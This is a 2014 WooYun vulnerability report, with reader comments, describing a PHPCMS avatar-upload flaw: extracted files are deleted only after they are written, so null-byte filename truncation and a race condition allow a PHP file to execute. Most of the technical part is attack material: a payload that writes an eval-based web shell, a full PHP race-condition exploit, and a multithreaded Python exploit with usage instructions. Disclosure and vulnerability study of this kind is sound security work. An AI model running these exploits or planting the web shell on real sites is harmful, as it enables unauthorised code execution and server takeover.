当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(133) 关注此漏洞

缺陷编号: WooYun-2014-49794

漏洞标题: PHPCMS前台设计缺陷导致任意代码执行

相关厂商: phpcms

漏洞作者: felixk3y

提交时间: 2014-01-25 11:49

公开时间: 2014-04-25 11:49

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计缺陷 代码执行 命令执行 Getshell

48人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-25: 细节已通知厂商并且等待厂商处理中
2014-01-26: 厂商已经确认,细节仅向厂商公开
2014-01-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-03-22: 细节向核心白帽子及相关领域专家公开
2014-04-01: 细节向普通白帽子公开
2014-04-11: 细节向实习白帽子公开
2014-04-25: 细节向公众公开

简要描述:

PHPCMS前台存在严重设计缺陷
利用这个设计缺陷可导致任意代码/命令执行,当然可Getshell.

但PHPCMS代码执行不是这篇文章的主题,今天的主题是:
主题一:给大家介绍一种通用的设计缺陷,希望能引起各个厂商重视,以及由此衍生出来的一种比较新颖的漏洞利用方法,此设计缺陷目前我已在多个CMS上证明.
主题二:我想说的是当我们有任何奇思妙想的时候,哪怕这个想法"不切实际"、"不可能",只要我们想方设法去实践,就会有意想不到的效果,这个漏洞就是证明.

PS: 明天放假了,在这里祝大家新年快乐!

详细说明:

#1 前言

猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都完完了…

#2 叼着炸药包的猛兽来了

请先看下面这段代码

code 区域
<?php
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
//...
unlink($_GET['dst']);
//...
}
?>



这段代码实际意义不大,不过,没关系我们重在研究嘛,一种典型的”将猛兽放进室内,才杀之”的案例,我们来看看

code 区域
猛兽放进室内:copy($_GET['src'],$_GET['dst']);



code 区域
这条猛兽不安全,杀之:unlink($_GET['dst']);



code 区域
炸药包:$_GET['dst']-->此炸药包非彼炸药包,此炸药包的作用是生成恶意文件 :-)



上述代码即存在本文所讲的设计缺陷

code 区域
copy($_GET['src'],$_GET['dst']);



可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,后面的unlink($_GET['dst']);将之删除...

但是,各位厂商们 你们可曾想到这个木马可能在你们删除之前,生成了新的木马文件,结果可想而知,SO... 还请在设计产品时多考虑考虑....

#3 PHPCMS案例

PHPCMS相应的设计缺陷在上传头像的功能处,我们来看看其代码

/phpsso_server/phpcms/modules/phpsso/index.php 第572行开始 uploadavatar()函数

code 区域
public function uploadavatar() {

//根据用户id创建文件夹
if(isset($this->data['uid']) && isset($this->data['avatardata'])) {
$this->uid = $this->data['uid'];
$this->avatardata = $this->data['avatardata'];
} else {
exit('0');
}

$dir1 = ceil($this->uid / 10000);
$dir2 = ceil($this->uid % 10000 / 1000);

//创建图片存储文件夹
$avatarfile = pc_base::load_config('system', 'upload_path').'avatar/';
$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
if(!file_exists($dir)) {
mkdir($dir, 0777, true);
}
//存储flashpost图片
$filename = $dir.$this->uid.'.zip';
file_put_contents($filename, $this->avatardata);

pc_base::load_sys_func('dir');
//解压缩文件
pc_base::load_app_class('pclzip', 'phpsso', 0);
$archive = new PclZip($filename);
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);

//判断文件安全,删除压缩包和非jpg图片
$avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
$files = glob($dir."*");
foreach($files as $_files) {
if(is_dir($_files)) dir_delete($_files);
if(!in_array(basename($_files), $avatararr)) @unlink($_files);
}
if($handle = opendir($dir)) {
while(false !== ($file = readdir($handle))) {
if($file !== '.' && $file !== '..') {
if(!in_array($file, $avatararr)) {
@unlink($dir.$file);
} else {
$info = @getimagesize($dir.$file);
if(!$info || $info[2] !=2) {
@unlink($dir.$file);
}
}
}
}
closedir($handle);
}
$this->db->update(array('avatar'=>1), array('uid'=>$this->uid));
exit('1');
}



大概意思是解压ZIP文件,再删除非jpg文件,目录等(看见了吧,产生了#2所述的设计缺陷,典型的引狼入室,再杀之的设计理念),但由于在此处出现过上传漏洞,增加了这么一行代码:

code 区域
$archive->allow_ext = array('jpg');



只允许jpg格式文件,不允许php后缀的文件,这为我们下面的漏洞利用带来了不少的麻烦,但别急,后面我会讲到突破的方法...

#4 突破限制产生php临时文件

虽然代码限制了只能是jpg格式的文件,但我们的文件名可以是1.php.php.jpg 对吧,

想到什么没有呢?对!采用文件名截断...行动吧

(为了方便调试,我们加入如下代码,即在解压zip文件后,删除非jpg文件前中断代码的执行)

code 区域
$archive = new PclZip($filename);
exit('zanting....');//我们添加的调试代码
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);



结果,成功在目录下生成了1.php文件

1.jpg



2.jpg



#5 漏洞利用poc

只要有php文件生成那就好办了,poc构想如下:

正常情况:

上传头像-->生成临时文件(1.php)-->删除非jpg文件

我们想要的情况:

上传头像-->生成临时文件(1.php)-->1.php在上层目录生成shell.php文件-->删除1.php等非jpg文件,留下shell.php文件-->成功

1.php.php.jpg文件的内容为:

code 区域
<?php fputs(fopen('../../../../shell.php','w'),'<?php @eval($_POST[cmd])?>');?>



同时用数字填充,大小为1 2M左右,同时打包为ZIP包,如图:

3.jpg



当然为了能顺利的利用,手工是不行的,程序的执行多快啊 是吧...

于是我们利用PHP写出POC,打开至少15个CMD窗口跑起来,模仿多线程嘛,哈哈...

我相信不一会就会在上层目录生成我们想要的shell.php文件,POC如下 这里就不演示了...

code 区域
<?php
/**
* Created by felixk3y
* Date: 14-01-10
* Name: PHPCMS V9.5.2 Arbitrary File Upload Exploit...
* Blog: http://**.**.**.**/rootsafe
*/
error_reporting(7);
if($argc<2){
print "\n\tUsage:exp.php **.**.**.**\n";
exit();
}
$num = 0;
$loop = 0;
$host = $argv[1];
$posts = post();
$shell = "/phpcms/phpsso_server/uploadfile/shell.php";//生成shell的地址
$tmpfile = "/phpcms/phpsso_server/uploadfile/avatar/1/1/1/1.php";//临时的php文件,后面会被删除
//先访问临时数据包
while(++$loop<6){
echo "正在进行第".$loop."轮尝试...\n";
while(++$num<11){
echo "正在进行第".$num."次尝试访问临时文件...\n";
_get($host,$tmpfile);
}
$num = 0;
while(++$num<51){
echo "正在进行第".$num."次提交ZIP数据包同时试访问临时文件...\n";
send_http($host,$posts);//正常提交数据包
//if($num%2==0){
_get($host,$tmpfile);
//}
}
$num = 0;
while(++$num<11){
echo "正在进行第".$num."次尝试访问临时文件...\n";
_get($host,$tmpfile);
}
$num = 0;
}
$res = _get($host,$shell);
if(preg_match('/200 OK/',$res)) {
echo "--->Success!\n\n";
}else{
echo "------->Failed!\n\n";
}
function post(){
$asc = hex2asc("00");//目的是截断1.php.php.jpg为1.php
$repstr = "php".$asc."php";
$data = "";
$fp = fopen('phpcms.zip','r');//phpcms.zip要上传的数据包
while(!feof($fp)){
$data .=fgets($fp);
}
$data = preg_replace('/php\.php/i',$repstr,$data);
return $data;
}
function hex2asc($str){//进制间转换
$str = join('',explode('\x',$str));
$len = strlen($str);
for($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
return $data;
}
function _get($host,$path){ //http get方法
$headers = "GET $path HTTP/1.1\r\n";
$headers .= "Host: ".$host."\r\n";
$headers .= "Connection: close\r\n\r\n";
$fp = @fsockopen($host,80);
fputs($fp, $headers);
$resp = '';
while (!feof($fp)){
$resp .= fgets($fp, 2048);
}
return $resp;
}
function send_http($host,$post)
{
$data = "POST /phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=f58eCAZVBQJSVAkJA1sCWQpRAFBQVVEBDlYEAgQRWQUOVx9IRTpURxYMZlJWGgoJfmZiDUZXKm5PcjcTbgBfNgoAW0hwFAFqFC9bemJacg HTTP/1.1\r\n";
$data .= "Host: **.**.**.**\r\n";
$data .= "User-Agent: Googlebot/2.1 (+http://**.**.**.**/bot.html)\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Accept-Encoding: gzip, deflate\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Length: " . strlen($post) . "\r\n\r\n";
$data .= $post . "\r\n";
//echo $data;
$fp = @fsockopen($host,80,$errno,$errstr,30);
if(!$fp){
echo $errno.'-->'.$errstr."\n";
exit('Could not connect to: '.$host);
}else{
fputs($fp, $data);
$back = '';
while(!feof($fp)){
$back .= fgets($fp, 2048);
}
fclose($fp);
}
return $back;
}
?>

漏洞证明:

#6 Exp利用代码

为了方便利用,最后我用py写了最终的EXP,代码如下

code 区域
#coding=GB2312
#Date: 2014-01-11 23:50
#Created by felixk3y
#Name: PHPCMS <=V9.5.2 Arbitrary File Upload Exploit...
#Blog: http://**.**.**.**/rootsafe

import os
import sys
import socket
import urllib
import urllib2
import threading
import msvcrt

# postu: 文件上传post的URL
# shell: 最终生成shell的URL
# tmpfile: 文件上传生成的临时文件URL
# postu & shell & tmpfile 这三个参数根据具体情况更改
postu = '/install_package/phpsso_server/index.php'
shell = '/install_package/phpsso_server/uploadfile/shell.php'
tmpfile = '/install_package/phpsso_server/uploadfile/avatar/1/1/1/1.php'

class upload(threading.Thread):
def __init__(self,num,loop,host,header,tmpfile,shell):
threading.Thread.__init__(self)
self.num = num
self.loop = loop
self.host = host
self.header = header
self.shell = '%s%s' % (host,shell)
self.tmpfile = '%s%s' % (host,tmpfile)

def run(self):
while True:
print '正在进行第%d轮尝试...\n' % self.loop
while(self.num<3):
print '正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print '正在进行第%d次提交ZIP数据包同时试访问临时文件...' % self.num
self.send_socket(self.host,self.header)
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print '正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.loop += 1
self.num = 1

def _get(self,tmpfile):
try:
response = urllib2.urlopen(tmpfile)
if response.getcode() == 200:
print '\nSuccess!\nShell: %s\nPass is [1@3].' % self.shell
os._exit(1)
except urllib2.HTTPError,e:
pass

def send_socket(self,host,headers):
if 'http://' in host:
host = host.split('/')[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 80))
sock.send(headers)
sock.close()


class ThreadStop(threading.Thread):
def run(self):
try:
chr = msvcrt.getch()
if chr == 'q':
print "stopped by your action( q )."
os._exit(1)
except:
os._exit(1)

def usage():
print '\n\tUsage: upload.py <url> '
print '\n\tExp: upload.py **.**.**.**'
os._exit(0)

def hex_to_asc(ch):
ch = int(float.fromhex(ch))
return '{:c}'.format(ch)

def post_data():
postdata = ''
asc = hex_to_asc('00')
repstr = 'php%sphp' % asc
fps = open('phpcms.zip','rb')
for sbin in fps.readlines():
postdata += sbin
postdata = postdata.replace('php.php',repstr)
return postdata

def exploit():
num = 1
loop = 1
threads = []
host = sys.argv[1]
cookie = sys.argv[2]
if 'http://' not in host:
host = 'http://%s' % host

postdata = post_data()
mhost = host.split('/')[2]

dvalue = '3f84AABWUlIDVAFSUwRTVA9QVwRRUAFXAFcLUFNMWgYKAENAQzkDF0cMbgkGTlsAXQdlJQIJCEVqAE5mMUhUJ28FJHV8ABcgXCN5NS5ZNQ'
params = 'm=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=%s' % dvalue
posturl = '%s?%s' % (postu,params)
header = 'POST %s HTTP/1.1\r\n' % posturl
header += 'Host: %s\r\n' % mhost
header += 'User-Agent: Googlebot/2.1 (+http://**.**.**.**/bot.html)\r\n'
header += 'Content-Type: application/octet-stream\r\n'
header += 'Accept-Encoding: gzip,deflate,sdch\r\n'
header += 'Content-Length: %d\r\n' % len(postdata)
header += 'Cookie: %s\r\n\r\n%s\r\n' % (cookie,postdata)

shouhu = ThreadStop()
shouhu.setDaemon(True)
shouhu.start()

for i in range(10):#线程数不能小了
t = upload(num,loop,host,header,tmpfile,shell)
t.start()
threads.append(t)
for th in threads:
t.join()

if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
exploit()





#7 Exp跑起来

code 区域
phpcms_exp.py **.**.**.** cookie值



效果如下所示

sss.jpg



s.jpg

修复方案:

你们懂.

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-26 13:47

厂商回复:

最新版已经修复过该漏洞!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共5人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-01-25 12:13 | 忆苦思甜 ( 实习白帽子 | Rank:65 漏洞数:25 )
    1

    mark . 沙发出售

  2. 2014-01-25 12:30 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    关注,我信洞主!

  3. 2014-01-25 12:38 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:126 | 一个想当文人的黑客~)
    0

    前排mark,洞主的主题很好,我很喜欢~~

  4. 2014-01-25 12:53 | 不期而遇 ( 路人 | Rank:11 漏洞数:3 | 向大牛学习)
    0

    新年快乐!

  5. 2014-01-25 12:58 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:88888 | WooYun认证√)
    0

    学习新思路新方法!GOOD!

  6. 2014-01-25 14:11 | 开心超人 ( 路人 | Rank:4 漏洞数:2 | Security just like girl friend HSL在此...)
    0

    老牌的CMS经不起新的技术了啊

  7. 2014-01-25 14:26 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    给力

  8. 2014-01-25 15:09 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
    0

    前排支持

  9. 2014-01-25 17:35 | Master ( 实习白帽子 | Rank:33 漏洞数:10 )
    0

    老牌的CMS经不起新的技术了啊

  10. 2014-01-25 18:39 | 宇少 ( 普通白帽子 | Rank:106 漏洞数:41 | Jyhack-TeaM:bbs.jyhack.com 群:308694453...)
    0

    mark,我还是也来学习下,新年快了!

  11. 2014-01-26 16:47 | 乌云一哥 ( 路人 | Rank:7 漏洞数:1 | echo file_get_contents('http://www.wooyu...)
    0

    厂商回复: 最新版已经修复过该漏洞!这个回复的意思是漏洞存在还是不存在啊

  12. 2014-01-30 02:03 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    @乌云一哥 说的是最新版已经木有这漏洞了……

  13. 2014-03-06 15:56 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    神思路

  14. 2014-03-07 15:03 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    额...

  15. 2014-03-07 21:04 | 马丁 ( 路人 | Rank:28 漏洞数:24 | 大爷~给口饭吧。)
    0

    这个思路有点叼 .... 看谁射的快 哈哈 楼主太叼了

  16. 2014-03-07 23:52 | L.X ( 路人 | Rank:10 漏洞数:1 | 分享和谐)
    0

    测试好几个站都不成功

  17. 2014-03-11 15:57 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    @L.X 当然不能批量,你以为data参数是干嘛的

  18. 2014-03-12 02:29 | L.X ( 路人 | Rank:10 漏洞数:1 | 分享和谐)
    0

    @猪头子 登陆-修改data\cookie-修改线程30-开搞2分钟后报错以失败告终 悲催啊~~~

  19. 2014-03-17 12:48 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    @felixk3y 我想咨询你一个问题,假如上传头像的页面显示空白,无法访问,但是上传页面所需要的资源服务器上都有,那么我们可以本地构造上传页面吗?

  20. 2014-04-25 12:50 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )
    0

    大牛,你何时开发一个简单的工具玩玩啊?

  21. 2014-04-25 13:24 | 看官 ( 路人 | Rank:0 漏洞数:1 | 暂无)
    0

    加http://www.wooyun.org/images/m2.png这个是什么标志

  22. 2014-04-25 14:21 | f4ckbaidu ( 普通白帽子 | Rank:243 漏洞数:32 | 开发真是日了狗了)
    0

    @看官 有软妹币拿的节奏

  23. 2014-04-25 16:32 | xcoder ( 实习白帽子 | Rank:59 漏洞数:9 | 一个世界有你,一个世界没有你,让两者的不...)
    0

    好思路,赞!

  24. 2014-04-25 17:40 | Coffee ( 普通白帽子 | Rank:144 漏洞数:15 | Corie, a student at THU.)
    0

    新标志~

  25. 2014-04-26 13:19 | Max ( 实习白帽子 | Rank:45 漏洞数:7 | When you see this sentence, I have been ...)
    0

    我信洞主

  26. 2015-09-28 09:25 | xsser_w ( 普通白帽子 | Rank:116 漏洞数:34 | 哎)
    0

    @L.X php版本小于5.2.3 还要关闭gpc默认都是关闭的

  27. 2016-02-25 14:17 | 你大爷在此 百无禁忌 ( 路人 | Rank:18 漏洞数:9 | 迎风尿三丈 顺风八十米)
    1

    @U神 略屌 话说用这个python 脚本都要改哪些地方啊?

登录后才能发表评论,请先 登录